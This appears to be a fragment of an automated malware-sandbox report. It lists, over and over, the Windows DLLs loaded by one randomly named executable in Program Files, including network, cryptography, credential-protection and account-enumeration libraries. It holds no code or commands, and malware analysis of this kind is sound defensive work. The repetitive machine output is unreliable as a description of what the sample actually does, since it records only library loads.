Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: rasadhlp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: schannel.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: mskeyprotect.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dpapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ncryptsslp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winhttp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
